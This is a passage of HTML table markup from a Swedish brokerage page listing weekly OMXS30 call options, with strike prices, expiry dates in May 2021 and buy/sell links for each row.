data-oid="1217223"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217223/omxs301e14y2355"
title="Köp optioner i OMXS301E14Y2355"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217223/omxs301e14y2355"
title="Sälj optioner i OMXS301E14Y2355"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217223/omxs301e14y2355" class="link" title="OMXS301E14Y2355">
OMXS301E14Y2355</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 355,00</td>
<td class="overview noSort">195,06</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217223" data-instrument_id="1220114"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217222"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217222/omxs301e14y2360"
title="Köp optioner i OMXS301E14Y2360"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217222/omxs301e14y2360"
title="Sälj optioner i OMXS301E14Y2360"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217222/omxs301e14y2360" class="link" title="OMXS301E14Y2360">
OMXS301E14Y2360</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 360,00</td>
<td class="overview noSort">195,06</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217222" data-instrument_id="1220113"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1217221"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217221/omxs301e14y2365"
title="Köp optioner i OMXS301E14Y2365"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217221/omxs301e14y2365"
title="Sälj optioner i OMXS301E14Y2365"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217221/omxs301e14y2365" class="link" title="OMXS301E14Y2365">
OMXS301E14Y2365</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 365,00</td>
<td class="overview noSort">195,06</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217221" data-instrument_id="1220112"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217220"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217220/omxs301e14y2370"
title="Köp optioner i OMXS301E14Y2370"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217220/omxs301e14y2370"
title="Sälj optioner i OMXS301E14Y2370"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217220/omxs301e14y2370" class="link" title="OMXS301E14Y2370">
OMXS301E14Y2370</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 370,00</td>
<td class="overview noSort">195,06</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217220" data-instrument_id="1220111"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1217219"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217219/omxs301e14y2375"
title="Köp optioner i OMXS301E14Y2375"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217219/omxs301e14y2375"
title="Sälj optioner i OMXS301E14Y2375"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217219/omxs301e14y2375" class="link" title="OMXS301E14Y2375">
OMXS301E14Y2375</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 375,00</td>
<td class="overview noSort">194,74</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217219" data-instrument_id="1220110"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1217218"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1217218/omxs301e14y2380"
title="Köp optioner i OMXS301E14Y2380"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1217218/omxs301e14y2380"
title="Sälj optioner i OMXS301E14Y2380"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1217218/omxs301e14y2380" class="link" title="OMXS301E14Y2380">
OMXS301E14Y2380</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 380,00</td>
<td class="overview noSort">193,44</td>
<td class="overview">2021-05-14</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1217218" data-instrument_id="1220109"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1222357"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222357/omxs301e28y2045"
title="Köp optioner i OMXS301E28Y2045"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222357/omxs301e28y2045"
title="Sälj optioner i OMXS301E28Y2045"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222357/omxs301e28y2045" class="link" title="OMXS301E28Y2045">
OMXS301E28Y2045</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 045,00</td>
<td class="overview noSort">4,31</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222357" data-instrument_id="1225246"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1222356"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222356/omxs301e28y2050"
title="Köp optioner i OMXS301E28Y2050"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222356/omxs301e28y2050"
title="Sälj optioner i OMXS301E28Y2050"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222356/omxs301e28y2050" class="link" title="OMXS301E28Y2050">
OMXS301E28Y2050</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 050,00</td>
<td class="overview noSort">4,65</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222356" data-instrument_id="1225245"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1222355"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222355/omxs301e28y2055"
title="Köp optioner i OMXS301E28Y2055"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222355/omxs301e28y2055"
title="Sälj optioner i OMXS301E28Y2055"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222355/omxs301e28y2055" class="link" title="OMXS301E28Y2055">
OMXS301E28Y2055</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 055,00</td>
<td class="overview noSort">4,76</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222355" data-instrument_id="1225244"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1222354"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1222354/omxs301e28y2060"
title="Köp optioner i OMXS301E28Y2060"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1222354/omxs301e28y2060"
title="Sälj optioner i OMXS301E28Y2060"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1222354/omxs301e28y2060" class="link" title="OMXS301E28Y2060">
OMXS301E28Y2060</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 060,00</td>
<td class="overview noSort">4,74</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1222354" data-instrument_id="1225243"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1221847"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1221847/omxs301e28y2065"
title="Köp optioner i OMXS301E28Y2065"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1221847/omxs301e28y2065"
title="Sälj optioner i OMXS301E28Y2065"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1221847/omxs301e28y2065" class="link" title="OMXS301E28Y2065">
OMXS301E28Y2065</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 065,00</td>
<td class="overview noSort">4,88</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1221847" data-instrument_id="1224736"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1221846"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1221846/omxs301e28y2070"
title="Köp optioner i OMXS301E28Y2070"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1221846/omxs301e28y2070"
title="Sälj optioner i OMXS301E28Y2070"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1221846/omxs301e28y2070" class="link" title="OMXS301E28Y2070">
OMXS301E28Y2070</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 070,00</td>
<td class="overview noSort">4,99</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1221846" data-instrument_id="1224735"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1221845"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1221845/omxs301e28y2075"
title="Köp optioner i OMXS301E28Y2075"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1221845/omxs301e28y2075"
title="Sälj optioner i OMXS301E28Y2075"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1221845/omxs301e28y2075" class="link" title="OMXS301E28Y2075">
OMXS301E28Y2075</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 075,00</td>
<td class="overview noSort">4,70</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1221845" data-instrument_id="1224734"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219820"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219820/omxs301e28y2080"
title="Köp optioner i OMXS301E28Y2080"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219820/omxs301e28y2080"
title="Sälj optioner i OMXS301E28Y2080"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219820/omxs301e28y2080" class="link" title="OMXS301E28Y2080">
OMXS301E28Y2080</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 080,00</td>
<td class="overview noSort">4,84</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219820" data-instrument_id="1222710"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219808"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219808/omxs301e28y2085"
title="Köp optioner i OMXS301E28Y2085"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219808/omxs301e28y2085"
title="Sälj optioner i OMXS301E28Y2085"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219808/omxs301e28y2085" class="link" title="OMXS301E28Y2085">
OMXS301E28Y2085</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 085,00</td>
<td class="overview noSort">4,97</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219808" data-instrument_id="1222698"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219807"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219807/omxs301e28y2090"
title="Köp optioner i OMXS301E28Y2090"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219807/omxs301e28y2090"
title="Sälj optioner i OMXS301E28Y2090"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219807/omxs301e28y2090" class="link" title="OMXS301E28Y2090">
OMXS301E28Y2090</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 090,00</td>
<td class="overview noSort">5,27</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219807" data-instrument_id="1222697"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219806"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219806/omxs301e28y2095"
title="Köp optioner i OMXS301E28Y2095"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219806/omxs301e28y2095"
title="Sälj optioner i OMXS301E28Y2095"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219806/omxs301e28y2095" class="link" title="OMXS301E28Y2095">
OMXS301E28Y2095</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 095,00</td>
<td class="overview noSort">5,41</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219806" data-instrument_id="1222696"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219805"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219805/omxs301e28y2100"
title="Köp optioner i OMXS301E28Y2100"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219805/omxs301e28y2100"
title="Sälj optioner i OMXS301E28Y2100"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219805/omxs301e28y2100" class="link" title="OMXS301E28Y2100">
OMXS301E28Y2100</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 100,00</td>
<td class="overview noSort">5,09</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219805" data-instrument_id="1222695"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219804"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219804/omxs301e28y2105"
title="Köp optioner i OMXS301E28Y2105"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219804/omxs301e28y2105"
title="Sälj optioner i OMXS301E28Y2105"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219804/omxs301e28y2105" class="link" title="OMXS301E28Y2105">
OMXS301E28Y2105</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 105,00</td>
<td class="overview noSort">2,71</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219804" data-instrument_id="1222694"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219803"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219803/omxs301e28y2110"
title="Köp optioner i OMXS301E28Y2110"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219803/omxs301e28y2110"
title="Sälj optioner i OMXS301E28Y2110"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219803/omxs301e28y2110" class="link" title="OMXS301E28Y2110">
OMXS301E28Y2110</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 110,00</td>
<td class="overview noSort">2,79</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219803" data-instrument_id="1222693"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="noRowHighlight"
data-oid="1219802"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
<a href="/handla/optioner.html/kop/1219802/omxs301e28y2115"
title="Köp optioner i OMXS301E28Y2115"
class="orderLink smallOrderbuttonText">Köp</a>
</li>
<li class="sell ">
<a href="/handla/optioner.html/salj/1219802/omxs301e28y2115"
title="Sälj optioner i OMXS301E28Y2115"
class="orderLink smallOrderbuttonText">Sälj</a>
</li>
</ul>
</td>
<td class="overview tLeft instrumentName"><span class="ellipsis">
<span class="flag flag-small flag-se ">
</span>
<a href="/optioner/om-optionen.html/1219802/omxs301e28y2115" class="link" title="OMXS301E28Y2115">
OMXS301E28Y2115</a>
</span></td>
<td class="overview">Weekly</td>
<td class="overview">Köp</td>
<td class="overview">2 115,00</td>
<td class="overview noSort">2,89</td>
<td class="overview">2021-05-28</td>
<td class="overview tCenter tools">
<div class="toolsFlexContainer" data-orderbook_id="1219802" data-instrument_id="1222692"><a title="Visa anteckningar" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_note_grey.png" alt="Anteckningar" title="Anteckningar">
</a>
<a title="Lägg till i bevakningslistor" class="triggerLogin" href="javascript:void(0)">
<img src="/jmvc/avanzabank/images/ic_eye_grey.png" alt=" Bevakningslista" title="Bevakningslista">
</a>
</td>
</tr>
<tr
class="rowHighlight"
data-oid="1219801"
data-delayed="true"
>
<td class="overview tLeft buySellButtons"><ul class="cleanList floatList actionButtons buySellButtons ">
<li class="first">
